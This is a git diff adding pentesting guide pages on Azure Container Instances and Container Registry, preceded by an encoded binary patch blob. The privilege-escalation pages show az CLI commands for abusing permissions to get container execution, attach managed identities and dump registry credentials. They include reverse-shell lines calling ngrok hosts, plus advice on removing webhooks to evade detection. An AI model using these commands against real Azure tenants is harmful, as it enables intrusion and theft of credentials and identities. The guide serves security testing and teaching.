zED0CQU8-Mc6&Z2mX~QkL8a9T?tf6j8f}6ryT&#ZS(&STYYMGHxi{_(c%nQ1Z?)P2I zt&nq{?fgB6Qooa~KUZ5-r^1$#N&2BYlXSi9PU5k1jCMl#dR4_Ph=al7zGgC5WE@gZ z^M3Cq721fZ@cynN)pEi!kfCcdP7uP#=W+_S!sP| zVq!9V6L@0t-S#LUV$lK~*K@fAiB6W164v-WVI5Jp7JeEkzl=F)=RmF=k7XBgf`ENm zwFrRx0+nhfOHKno*?=#@OD(&votHqD8^ET&i&CmZ?f?2&(35{tSKo7yPrKHw2q|?! zzc!(GLXOrmaWbq z_8R4e~m`rlXOqnX;NQm{@al( zaF-d9sL)e%<{jcA*!I@l(E+=6_SHOPVd>WF^T z_bk+H>Muj;HnF?^#y7o$vX2D)sPz#1f6}lVcl=gXwp!MsXm<5h4RTx>J% zC5(jApV~L(`!`;f6hmQ$xDxXY+!6YwhqO5@=b+-mY_5g>{8b@>N_X*FQm?z7OG-*+ z&Yx)~HK*#HqS{=#Fj{FZ;WKN;@uuuIe8|^-l|6MbpIRPQ`RWJYeFA#nbEk0fO1B5f%{%CHiM3iH?|(|J$Hfln zNWMK(+EPx1i@AB?-FddjZ}ztbi&@w{X57Eh>=9JSP|ER*ds0}L1G z!1Ii`imtEP38To0lk3cKPZ<{pI$(4FPsih}y;5U;d|LR$u9G>lNJF8(P7;`_1--It98 zH!YX_6G)o;T)MMSS;t2dpT&#WF%7@=d2OaGm($efok54T+rCnL@~qi5zR`jx58VeX z<2S(wvOVt}eDa~vm(Of|o|q&bI_IozwES>=*xOzup!@T~#g1lJ!5AkjQ3hTcF>3I# zW9z;p)p~K&2)5dXnP{P5;f z>y%@2e^GDp1QW|F@HT?8leamSbVqAk`z3j0WR8oS!ieT&-f`HHMVT+!CvPF!GM#Su zf+u>y0~NB1=QN~3j1YgkU&#K2N8ZfW z>?E237A&$S1N6$1P1RU6xrmn#a}Nw8h<= zLNARZC+RaU(|R0~z*>sF*yGw~Za%LR`&%h|5VJicT1gChen!xo>L_SJ`Dp?0HPT+8 zK8j4YqX7h^OwP6+1wp7-;M=q)cCQ_UQ^G6&z%sV09FIQa9$esz#e98)9E|k6fz*;? z^Il3i3KxywLYQg8or5od{Ch$b!S$gjf@cmhlmAPvAu76{+3`9kIM_o!p5^FU`eIyV z{EM5Pzt_HZw1G0HVBa&rT-5?=R{vsg{~uP<@PDjfKHQK0+uR@-N?aXaC(@z5-PI>Y zM=|o{2|$?CycUrUs4iaHk2uXIyYy;H|HO$CtGKzqI9`YPN3~u2)Xp~yp$bS>#*Gw# zAcub-@OuEOf2P?I$aJ#3I)UwCM~~2a5uFMGmpnfGuMIZ?mMQ zJc!n-a%h1b zo_@W*SCE&3FhN&;ZBID>g61qSZKJ4iSxmI?1V>;R;BYLoBTIJ%=r{%dN!^R_QoG=o z^l~mww>-AmD^j11VJ2F1pe=AEf-Lff-`YVTtdPWN=-P-w32@V zLnZ15j7Exl@)dPxDxufcJ7cv~S6Awfqe~gWpsA$GlK%kkWzv_cjeFMT*Y4UUY5J^U z$emzhgL-}MB@~`s)lN%GE0sqoM!cgmhz984j%jtx`upyWb##_fvrhZJ_5dcoco6K{ z^xGly2D-a!JcZHaciW?VHE+@kSKKLR?Sfg8k4y0=Sd?8YGgWpNN@ZadSt-5Yw;5vQ z)G6&;-1eU9VdGS-aj^+E_g6pZuT>8GOSVJs3~;9w52))Tz>#^L9}_}I9}6#+MZVY^ z#ne@J>uo&xmu2upOaPZ=pBvIxlPktSV3r_z?u$Zyl|SK--3UMh`+{c{h>@8sK(dmJ ziBEB{l7g`f5~JU~d4my3Izr7*Xf)UcNYKO1O}>WUd?%Bf<1yYZCN*P+~D zMpnDnT7gzQkC_$QpUvWz7>tTf685G)GNVWsC)6pWeLM{YbWIC@)V+V2HDWGQB$g!XA&M;K%XZ^PoZ z?kV0xVoczHy?`P}Jh$Fpg!4%x1Yi@kLN4y}MW&xqz!6|-)3dSNIF@kvbKgA-hRs-| z7X!-!MbCS(RL{(~wo?2tPb5+>C~0;@=aE^loh14aCgr%SJa?oeaghld%RNfq_^%~l z-z~*A<%Ez#V&eE<9e9{ogQ%NTpBjwJ9x4Dn&(vl}E^Bc9*QTt4arINW3Jcc9Q8XsA z4+-_}J~=o#mG40jyLOG?K8DArM%c zfDvwJJjvXBgU5{&L3}hyK>decUE%Tzq4SU#gQ6&If>Z~YwDU%dI6!0ESioK9bX^+Z zf!mmjr%ds-{y`zW+ujCAaPHe;=`UA{#XN z@#E$~z}T>&p`opo&$h zxc5*53bsZ;shqD0G;R3Q{L#QQN!0DkaR8B848eKA9Ch&2nEvU0zM zZ*4yK{Vr$ywpnw?Fg~TrQI@$pyRP-B@MKWiBiAu^X>%cBLA%}URe`0@nYOq%V2kEY z(zj}6Dm7%Y0{n}G-CkA63{X+|#!}r$8UZDQ6Vk4B$};(w*!yze8NtZ;6t7Kf_3dB+ z+U%l}0LYyCX)69WP20ZpdAb$61o%a&{RIYb*mQ37*so-s)IjLFb_|=islsR9JAv0y zW#}r=W+Ku~5LgswcTNFIEmPyi9I+T^m{jj(%^a!NwpoT&9YrmR#yHscwJ;sT~aa-DdP=wvtyp6xI7+3 zYMJ|;RH(Pc)d6gdc`+H@IbnBuDq^nnUi<~EPbj4x#pEk2z!p1tphFrz+ow;T?8|9| z?`k0=r2Dt@xE}m9n2+~MMn}=l8N084A@BJ%T2rC(Id^SSmX3_C@s;u)1GO6=3RvG{ zpzs!t_pY0QE!r}6s5yqXxVQ3Xq-gdbo&lDotRVL1=TF5i>sC3Wzh7XWvjIIw z^~s#me>>6#$L*bea3D=XLqj5#4-|MZ+LL}nP{{?@Q_YYefN&Qg>d#_1QEbX-l8;() zwTi@Vp1QT?Pd(+eHEM2+r;Xy!$jxjU;Euk=O#JLmLbW_Z~Rx|2`;2HW--C&)4JZ66dWUamfCM0F`B|7MNV z!ZEY;$lc=?3`x%@Mnk<=!4@YdT$`(Lp>`hAhJp4qi&AIgD`K=y+YtkpCg{)qJ|7=F z)|%x^p^c4amwPnbRAT;R;^=rqO%n?2Y`JM0b2@`g` z%9XrEr{niUKo>=#%F<9=XvSbMD12SUKSqzNIa#m*#eg$8x_~LG^GrO5SCvWSyXrp( zK;&LZsllu8-VsEaWd{oVu%@ZugtC)*szG}xJMC^q;PKBuOr&4 zW+iyGX=eAwfFtN=#T>xV?vI7SqhtwHC{pv^x!S$($b0;f2XG{kLc4iHV1|+a#1{KZ z@e<*Y@Lhe%2@K|RN6?{O&w795$lc(-wm8h!#qjX(9J`q>9p!j_doPWhQk2rtR(eN{ zD?p*qBN&lsWrXu^FCagH3o?OiM;|u9gkVIF>>TL@6q+=G5%1gmE13NMwjgHYEwWO? zhyr`Eu^k4c8)7FeCJq0NoU)-6a9F5kt3_QfelG)7<*{=rC~Uf1I-xq;^B15tKq^2- z3@`NMJt?*7m2Crgj_%Ip;=KJ$ioaOhuT=g&1k3)NWkp{bu6==rK2^nfdY+rtlyCKf zC!D=*(h|v1Y$89O`LdXdO6OGTSrQhx7pyUXYO(JV({k_USTako%ef4;?(F+K{q=fX zr0vzxj$`|)*}V@Vp6$z9p57hHKVG#{wQqT+%wA@wh>VUlQO!{NxVhiK5MJze3>^m* zX@fR?oEP)j43z#xQ+M&u1qV;ic`iDfPG|^hvQfo|L)b@vLS@OxE|)3MFo;Bt`PFi* zK=5z~swCY8B?-ZZRe}Di1#nBtL4Q&&{1oL2HDMVbgAG0bjw%@{rCL*`n zHJAV|t_;ywfagA{i2w6WUv5G;&E>WI7`I^LMTkhz>#!`q*DOmGbR7a=*lo~B^a0$7 ze4?Qt-!KgEmC-^e(?&Ij7TP>Ma|0=)Jpi;so>%}D!>r{LL^@rdrk|=^21pReYNj3v zjyUeIE2jnK8N40~C1WEQXd*@49t~qsU9|f+6uh1NVmKd>1O+<__kM0QabRzSLpvIC zMNL}Sv1^6^D8((RJZ|-{)J2Qa492H6gQF@+!MF~BDp5R`L!&@{6kzJ?uQwSxd{#Xx ziY3sPVVjCkv+NSkS=D?0=|_~W=o~t*80Ek$4c;SWx((4He)IOE9**MQqk+msufw!B zT^yg3bQ{Pdhf8oajCi-(780xmy2lo#rei`87>?=*`56EGM;V_ZK_pfJktZzQ(#j@q z;%^#ifZ~f9FgBo9PP?Qte|j7hSzcdc+$6v6^9!gbmtVU-N;w=bkO_dYLLLcUE(3w# zK>P(`^h+6+ja$>g=|#pctpGZdEDl#-Kg1S6IEZ9nuPbhGcniYY6UPM|rtb;f7`%l0 zcTit&D?y=RY6!+YdAkQOi^{6cI!KTPZvf?YztSqkIy55;K zfO6|=Fs}ySy3M6g>SrWLm)8mAlAw_B(C|t39$7VV4vmuws=*I`-v*}6KJHloT?oPE z=~Z=o{J8{hb67(o{Le!K(d*8UsDP}FL#H%T7t05jurGTMaUIQ@2HYZ{8Z2)-0WjV& zT{gyn5f*z(@dp_9JQ#|X>hz?fq!2j@g50F!7Ah>e-_P~s%`Z+8{~i-8jI|hUgJ0ri zJI{hdR8&-W9A&GWH&Q}aIkCA(9xYwBRFjdFEe6a`dF*^R`@%J(!M|IL{KZuzdd-N< z;7h9Mrs4)>&t>&e9&*fsUm$7@N3T0+{~?^{JJq4j@0G(zXr%^d`4PydAuILIa=qbu zEW85!;72GTCUgvo3v1$?_y?X$Bnn^L`p?h)+~EK27cq;wBBrOObCcd*KJY?F%P5JP zReWO~J#vU*y&QO?$y||9l9UoOZ+iz0_iP%os4oSJ8&}w&?+4-$r3Qr+BKyUkS4KKc z^1AOaPT3VbibEZYLx~c_qr63Z=)-%Dpx2`(s?Ht!J&K46p2hWs|L}(_Xy~P98yvL{ zbvjB9o~0LPbNEA97$9Z;+2R9@g6*dgo>hr6eE7p?44lq1j1JR3Gym^I^0V`+#O-8P z&o;R<>ZDqUcH}qmINNloy}8=ma3Y9Mj(Uzpx$QP+XPp)^^FT-q3+`<$*v;7Z`1sE* zcPc+)A-bB2dLjmOcd7E_r2aOwc@!PA2&Djghiz+D-$znsfou|Z=gX=om&H#T9*2Hv z4)k3{(*bWb7by5XWDj%VD7J$7l8eCS@q2u?*orWhl?~;y8R`L@$>YTd?lmj3em%$V zS0F&oqBWxb+kw+!exNFW!r0b}h*l;r5W_VDbjgKaFb09CzXkjGhXB`)oD9CAxhJ+y zr;@X)HG?|Q^7*y!VmMbx>+_o+)mJ{f-76A%OsDjLKA_u{UIQh2xn(!2E=Xs+ASS-q zDM2_GXW(rq5q$E#K!r>cqXu|QD_>Mbx!{ZG*uzG|BssUSrp+HeMNDW&E?q zM3>0jW|Lh<%tL{Lu6gox>{ZRrBj&KxZgHflJC;+|434TOhZB)P zCeCuaoUj2k13xG{*MF^Ak5-pagFNE~{Sy(NIz9;1PuEU_gUEF>9|T1?;IbQgPuwfdSUrqtth6fJprv@Rcr>d4u?(ZByx#A@WdkyJ(d}Em(EXla(xmdPYf1Ge2jJwWawj-ru^wPCuVo_8-4s<05 zeA)pFOq~Coxj2#LZbHeWR|uvPIhtbuYF?k9(WrNxY&>BN7yuk|u0oOB`@z&uCASUC z-WP(ba4_~yzT}p{9*H=A)&Lo{EnogHWxDpD5CC1ZN45`WK6M=&it!daww7#Qk1qli zW_acETW%eZG<%o7t5P(dymR&;%+$db*B_7EO9q=aGvxVf3SiSujJtT9ye7&G?GW=y zY6U8I5y*-Pcz(4FrdsQRZ}cLV;_Prbk!!?G`sc`2?_?p*zC8?r7psyRYGe;M^=k(} za$^lf<-$jG)kt!ED5d`yod-WkEhYNnFdSKu?d)u8HXmXT@t;N7EQAiWzXa%-#Fv^% z2o95DBf9*JBP4$eR5Nk3)ECXfUP=t6dZEed znhW8OO*o;X#@*!l_3KtCJuNhtSwGjJMHk(5vB<_-o=B#>KAhh=$$$yxK zm|nW3$Rzs0f3|2nmQ?N+b@TZ(BaB94^xk~f3Sx;bB`r>4B7L}`iyHUQyt;d7Bf5dZ z@-rc4ZPa6_@k=l7S2lzNnpAk1wv&*Ojw-$X9{ax6pAq+zD)n6E!c&dMCkgnuHAHIm zzT7=%P@12hQ{7L$n-CDIttg@)bH#hN^4l3Esr9xl_AE>r%A6Dp!3F6uHQ&8p&O_ zLJwP9T)07EA@;#<65R`hXQ>TTojue9A~v{zEd#(Ti+{ndnSv)IZXx=H!L@48 zZspxb5gxR9TktqXv%nTPZpmx=b4dB^K_1`-6IobTs@m{r1Uiug*q?6s$M5|;P5d%( zYquxE5QS*acd?Wph;%0|ox>CeoM zjd{#-wn3x>Qji>7fJz@elX91&vIl&+1#qwkZ?FG$uKw=0wakZI>{t>q05rwG;$v*C zG8-edJqVY)7%V%&)8~S_p#hGcnrFHP@<0eUOVU7?p^^nM-WIl8&Yo9Uq0r;aRr>ih zY?CdOU8~S=o1r2(KHlQWrMxunXl?`H7mL%=CW1ipzgm4yy$L5P4uJQ#gkB2a)i%E8 zP2eyG^JaPLfjNy8*?;!~j;A4a&|e8|f4xxL=I6ka1-x%kvn!J)G5YHZ@ z4r5mR`HMq)K+Q7lG!h(Gx(+IakZHG6QYGxj;mHqiE6@h|DC#rX4pqD1o_TT-q^c#L zhOg8>fD)oSp|k+~YfH7$H=~HFYcdmsU!0Q#?B8HgK~xBDfzUfGRmRT%rntNqXgEqn zcDXU#ASJK}4k5$H<_O!E2p}99bsb;yr@wh)ke58&ggnxDX=ISM-)3X3m#coY*bW!P zm#?w-O$WE!V{_qKyAZhaco=+}8e1Scr>YPsGr02dn8Re_{d`(XF9>ot%3M>NZTVKz zMCa)24Tp(5jtFhnx-KJ$4yR)XXf?+K9f(#M%V)Nn?*)JHBT=k*@LuxX&dweHkU^10@|Y4 zsMEUuP;Iextu#W8+>>H0m=(@V-{l6cmSr%+YuU6570`bo2cM^cLc1$;H7C zfN^X(j_vjzrUKTEZv^^|e16B+&fWZuo@nqY_#2hQBG7U0FMbd8$1)9p%&}#3K1?;x z$ZQdWT(y!h@SsBBr+ja12*9=hbU5}B&znq%ty5JH9Hg4I&a9`w5>{jJW1>=_WcGfs z!5kh^cg|wU%)LekP6aBVJ+~PUW;?8ZsjV`@O)PCSfrA?LSQY$`6t>#Ar6TblTw5)Z z6-CU9G3VMnL`byNWqoUUw>qnKt=r+A8;5m%!s|yy5pK_!PUviFOV5^49Y+ zYRW!v+RW^i0C&ImV9sm{#l&L8)?BtzDxV_7Y&<1s2x$Z+iZviB!=;IPQ!YUqUr259 z{8iDPt4;KyMHA~W>fiH8YemXt=R!t!)h^~edTeWXGhpvP^DyxK&_dKL=|3!VsKtj{ zvz2+yOtcY6<5zXRp#pJDDMU6gykFi(S>n-we>#QfpPfpt(i^i1^5%SA&`Z!uZ~9TK zwAf^&42dLO+Luo_Yud{@{(<^*)(-6RuCs3AGcSERsOhpkha{fN^4d{0eEB(KERF8U zILB%4tY^tOSEa-f=0@$CXvaP~(er&!na$j+EZRLfJ(zbFO~D)*G@pUW9CKi1bUp-exJ7kernD52ZK6&L3cq{Ny-O`A+fXDyP_&_4#X-Hr8pd_7CAg6#To(dOVsRgqHOS ze9q{YrWR+Pm56@y=uyKERnALF4XT_8DRCYbvoBU`k6&IkAFC}|DTxtNJ*~0c2T`vD ze<{wYW%3PWXWkFz1-8}r<$sc=vf;=TWYX&xN-kQAB^Dcbe6Ub{FF)S&(vW9Yu#aa5 zYvUhSNF+MZg=@kby9TJ!?2f8m@OVSQ&Wi_HRt*VTGu^oHYNaD}6z3r+;mPo(H{03n zG`fa{gol<;MOS+_BUaOdEoRVpmZIH06u8YWe zo;}t<96HVC7k_H<6kevLo_!ECe5WWyWco*GFM}kc5O} --resource-group --exec-command 'ls' +``` + +It's also possible to **read the output** of the container with: + +```bash +az container attach --name --resource-group +``` + +Or get the logs with: + +```bash +az container logs --name --resource-group +``` + +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +These permissions allows to **attach a user managed identity** to a container group. This is very useful to escalate privileges in the container. + +To attach a user managed identity to a container group: + +```bash +az rest \ + --method PATCH \ + --url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ + --body '{ + "identity": { + "type": "UserAssigned", + "userAssignedIdentities": { + "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} + } + } + }' \ + --headers "Content-Type=application/json" +``` + +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +These permission allows to **create or update a container group** with a **user managed identity** attached to it. This is very useful to escalate privileges in the container. + +```bash +az container create \ + --resource-group > \ + --name nginx2 \ + --image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ + --assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ + --restart-policy OnFailure \ + --os-type Linux \ + --cpu 1 \ + --memory 1.0 +``` + +Moreover, it's also possible to update an existing container group adding for example the **`--command-line` argument** with a reverse shell. + +{{#include ../../../banners/hacktricks-training.md}} + + diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md new file mode 100644 index 000000000..8323131b5 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -0,0 +1,143 @@ +# Az - Azure Container Registry Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Fore more information check: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action` + +This permission allows the user to list the admin credentials of the ACR. This is useful to **get full access** over the registry + +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2023-11-01-preview" +``` + +In case the admin credentials aren't enabled, you will also need the permission `Microsoft.ContainerRegistry/registries/write` to enable them with: + +```bash +az rest --method PATCH --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' +``` + + +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +These permissions allow the user to **create a new token** with passwords to access the registry. + +To use the `az cli`to generate it as in the following example you will also need the permissions `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` + +```bash +az acr token create \ + --registry \ + --name \ + --scope-map _repositories_admin +``` + + +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +These permissions allow the user to **build and run an image** in the registry. This can be used to **execute code** in the container. + +>[!WARNING] +> However, the image will be executed in a **sandboxed environment** and **without access to the metadata service**. This means that the container will not have access to the **instance metadata** so this isn't really useful to escalate privileges + +```bash +# Build +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null +``` + + +### `Microsoft.ContainerRegistry/registries/tasks/write` + +This is the main permission that allows to create and update a task in the registry. This can be used to **execute a code inside a container with a managed identity attached to it** in the container. + +This is the example on how to execute a reverseh shell in a container with the **system managed** identity attached to it: + +```bash +az acr task create \ + --registry \ + --name reverse-shell-task \ + --image rev/shell:v1 \ + --file ./Dockerfile \ + --context https://github.com/carlospolop/Docker-rev.git \ + --assign-identity \ + --commit-trigger-enabled false \ + --schedule "*/1 * * * *" +``` + +Another way to get a RCE from a task without using an external repository is to use the `az acr task create` command with the `--cmd` flag. This will allow you to run a command in the container. For example, you can run a reverse shell with the following command: + +```bash +az acr task create \ + --registry \ + --name reverse-shell-task-cmd \ + --image rev/shell2:v1 \ + --cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ + --schedule "*/1 * * * *" \ + --context /dev/null \ + --commit-trigger-enabled false \ + --assign-identity +``` + +> [!TIP] +> Note that to assign the system managed identity you don't need any special permission, although it must have been enabled before in the registry and assigned some permissions for it to be useful. + +To assign a **user managed identity also** you would need the permission `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` to do: + +```bash +az acr task create \ + --registry \ + --name reverse-shell-task \ + --image rev/shell:v1 \ + --file ./Dockerfile \ + --context https://github.com/carlospolop/Docker-rev.git \ + --assign-identity \[system\] "/subscriptions/>/resourcegroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ + --commit-trigger-enabled false \ + --schedule "*/1 * * * *" +``` + +To **update** the repo of an existent task you can do: + +```bash +az acr task update \ + --registry \ + --name reverse-shell-task \ + --context https://github.com/your-user/your-repo.git +``` + + +### `Microsoft.ContainerRegistry/registries/importImage/action` + +With this permission it's possible to **import an image to the azure registry**, even without having the image locally. However, note that you **cannot import an image with a tag** that already exists in the registry. + +```bash +# Push with az cli +az acr import \ + --name \ + --source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import +``` + +In order to **untag or delete a specific image tag** from the registry you can use the following command. However, note that you will need a user or token with **enough permissions** to do it: + +```bash +az acr repository untag \ + --name \ + --image : + +az acr repository delete \ + --name \ + --image : +``` + + + +{{#include ../../../banners/hacktricks-training.md}} + + diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md new file mode 100644 index 000000000..627ebcbf6 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md @@ -0,0 +1,47 @@ +# Az - Container Instances + +{{#include ../../../../banners/hacktricks-training.md}} + +## Basic Information + +Azure Container Instances (ACI) provide a **serverless, on-demand way** to run **containers** in the Azure cloud. You can **deploy** single or multiple containers in a group with **scalable compute**, **networking options**, and the flexibility to connect to **other Azure services** (like Storage, Virtual Networks, or Container Registries). + +As they are **ephemeral** workloads, you don't need to manage the underlying VM infrastructure — Azure handles that for you. However, from an **offensive security perspective**, it's crucial to understand how **permissions**, **identities**, **network configurations**, and **logs** can reveal attack surfaces and potential misconfigurations. + + +### Configurations + +- In order to create a container it's possible to use a public image, a container image from an Azure Container Registry or an external repository, which might **require to configure a password** to access it. +- Regarding networking it can also have a **public IP** or be **private endpoints**. +- It's also possible to configure common docker settings like: + - **Environment variables** + - **Volumes** (even from Azure Files) + - **Ports** + - **CPU and memory limits** + - **Restart policy** + - **Run as privileged** + - **Command line to run** + - ... + + +## Enumeration + +> [!WARNING] +> When enumerating ACI, you can reveal sensitive configurations such as **environment variables**, **network details**, or **managed identities**. Be cautious with logging or displaying them. + +```bash +# List all container instances in the subscription +az container list + +# Show detailed information about a specific container instance +az container show --name --resource-group + +# Fetch logs from a container +az container logs --name --resource-group + +# Execute a command in a running container and get the output +az container exec --name --resource-group --exec-command "ls" + +# Get yaml configuration of the container group +az container export --name --resource-group +``` \ No newline at end of file diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md new file mode 100644 index 000000000..044cfea3c --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -0,0 +1,166 @@ +# Az - Container Registry + +{{#include ../../../../banners/hacktricks-training.md}} + +## Basic Information + +Azure Container Registry (ACR) is a secure, private registry that lets you **store, manage, and access container images in the Azure cloud**. It integrates seamlessly with several Azure services, providing automated build and deployment workflows at scale. With features like geo-replication and vulnerability scanning, ACR helps ensure enterprise-grade security and compliance for containerized applications. + +### Permissions + +These are the **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) that can be given over a Container Registry: + +- Access Resource Manager +- Create/delete registry +- Push image +- Pull image +- Delete image data +- Change policies +- Sign images + +There are also some **built-in roles** that can be assigned, and it's also possible to create **custom roles**. + +![]() + +### Authentication + +> [!WARNING] +> It's very imporatant that even if the registry name contains some uppercase letters, you should always use **lowercase letters** to login, push and pull images. + +There are 4 ways to authenticate to an ACR: + +- **With Entra ID**: This is the **default** way to authenticate to an ACR. It uses the **`az acr login`** command to authenticate to the ACR. This command will **store the credentials** in the **`~/.docker/config.json`** file. Moreover, if you are running this command from an environment without access to a docker socket like in a **cloud shell**, it's possible to use the **`--expose-token`** flag to get the **token** to authenticate to the ACR. Then to authenticate you need to use as user name `00000000-0000-0000-0000-000000000000` like: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **With an admin account**: The admin user is disabled by default but it can be enabled and then it'll be possible to access the registry with the **username** and **password** of the admin account with full permissions to the registry. This is still supported because some Azure services use it. Note that **2 passwords** are created for this user and both are valid. You can enable it with `az acr update -n --admin-enabled true`. Note that the username is usually yhe registry name (and not `admin`). +- **With a token**: It's possible to create a **token** with a **specific `scope map`** (permissions) to access the registry. Then, it's possible to use this token name as username and some of the generated password to authenticate to the registry with `docker login -u -p aregistry-url>` +- **With a Service Principal**: It's possible to create a **service principal** and assign a role like **`AcrPull`** to pull images. Then, it'll be possible to **login to the registry** using the SP appId as username and a generated secret as password. + +Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry: + +```bash +#!/bin/bash +ACR_NAME=$containerRegistry +SERVICE_PRINCIPAL_NAME=$servicePrincipal + +# Obtain the full registry ID +ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv) + +PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv) +USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv) + +echo "Service principal ID: $USER_NAME" +echo "Service principal password: $PASSWORD" +``` + +### Encryption + +Only the **Premium SKU** supports **encryption at rest** for the images and other artifacts. + +### Networking + +Only the **Premium SKU** supports **private endpoints**. The other ones only support **public access**. A public endpoint has the format `.azurecr.io` and a private endpoint has the format `.privatelink.azurecr.io`. For this reason, the name of the registry must be unique across all Azure. + +### Microsoft Defender for Cloud + +This allows you to **scan the images** in the registry for **vulnerabilities**. + +### Soft-delete + +The **soft-delete** feature allows you to **recover a deleted registry** within the indicated number of days. This feature is **disabled by default**. + +### Webhooks + +It's possible to **create webhooks** inside registries. In this webhook it's needed to specify the URL where a **request will be sent whenever a push or delete action is performed**. Moreover, Webhooks can indicate a scope to indicate the repositories (images) that will be affected. For example, 'foo:*' means events under repository 'foo'. + +From an attackers perspective it's interesting to check this **before performing any action** in the registry, and remove it terporarely if needed, to avoid being detected. + +### Connected registries + +This basically allows to **mirror the images** from one registry to another one, usually located on-premises. + +It has 2 modes: **ReadOnly** and **ReadWrite**. In the first one, the images are only **pulled** from the source registry, and in the second one, images can also be **pushed** to the source registry. + +In order for clients to access the registry from Azure, a **token** is generated when the conected registry is used. + +### Runs & Tasks + +Runs & Tasks allows to execute in Azure container related actions that you typically needed to do locally or in a CI/CD pipeline. For example, you can **build, push, and run images in the registry**. + +The easiest way to build and run a container is using a regular Run: + +```bash +# Build +echo "FROM mcr.microsoft.com/hello-world" > Dockerfile +az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile . + +# Run +az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null +``` + +However, that will trigger runs that aren't super interesting from an attackers perspective cause they don't have any managed identity attached to them. + +However, **tasks** can have a **system and user managed identity** attached to them. There tasks are the ones useful to **escalate privileges** in the container. In privileges escalation section it's possible to see how to use tasks to escalate privileges. + +### Cache + +The cache feature allows to **download images from an external repository** and store the new versions in the registry. It requires to have some **credentials configured** by selecting the credentials from an Azure Vault. + +This is very interesting from a attacker's perspective because it allows to **pivot to an external platform** if the attacker has enough permissions to access the credentials, **download images from an external repository** and configuring a cache could also be used as **persistence mechanism**. + +## Enumeration + +> [!WARNING] +> It's very important that even if the registry name contains some uppercase letters, you should only use lowercase letters in the url to access it. + +```bash +# List of all the registries +# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... +az acr list + +# Get the details of a registry +az acr show --name + +# List tokens of a registry +az acr token list --registry --resource-group + +# List repositories in a registry +az acr repository list --name --resource-group + +# List the tags of a repository +az acr repository show-tags --repository --name --resource-group + +# List deleted repository tags +## At the time of this writing there isn't yet any command to restore it +az acr repository list-deleted --name + +# List tasks +## Check the git URL or the command +az acr task list --registry + +# List tasks runs +az acr task list-runs --registry + +# List connected registries +az acr connected-registry list --registry + +# List cache +az acr cache list --registry + +# Get cache details +az acr cache show --name --registry +``` + +## Privilege Escalation & Post Exploitation + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## References + +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) + +{{#include ../../../../banners/hacktricks-training.md}} + + +